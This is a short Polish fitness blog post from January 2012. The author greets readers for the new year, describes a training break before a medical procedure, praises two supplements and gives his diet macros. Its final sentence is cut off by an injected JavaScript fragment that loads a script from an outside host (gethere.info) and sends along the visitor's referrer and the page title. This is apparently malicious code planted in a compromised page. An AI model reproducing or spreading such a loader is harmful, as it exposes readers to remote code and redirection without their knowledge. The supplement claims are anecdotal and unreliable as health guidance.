Nowy rok i co dalej….

3.01.2012 / Michał Karmowski

Witam wszystkich w nowym 2012r i życzę wielu sukcesów , dużo spokoju , zdrowia a przede wszystkim uśmiechu na twarzy…:-)

Ja z nowym rokiem wykonałem mój ostatni trening przed przymusową przerwą bo idę na zabieg i nie wiem kiedy będę mógł wznowić treningi. Mam nadzieję , że ta przerwa korzystnie wpłynie na póżniejsze przygotowania i budowanie masy, na ten okres rezygnuję zupełnie z suplementów poza GH TURBO i TRIBULONEM, stosuję je dwa tyg i powiem , że jestem bardzo zadowolony. Dużo lepsze samopoczucie , wiecej energii w ciągu dnia mimo niekorzystnej aury pogodowej i 100% lepszy sen! Oczywiście na ten okres zmieniam dietę i na posiłek będę jadł 40g białka ,  50g węglowodanów i 25g tłuszczu. Cały okres roztrenowania przebiegł tak jak sobie założyłem i waga też w miarę sie trzyma wiec jestem zadowolony:-)forma na dzień dzisiejszy…s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;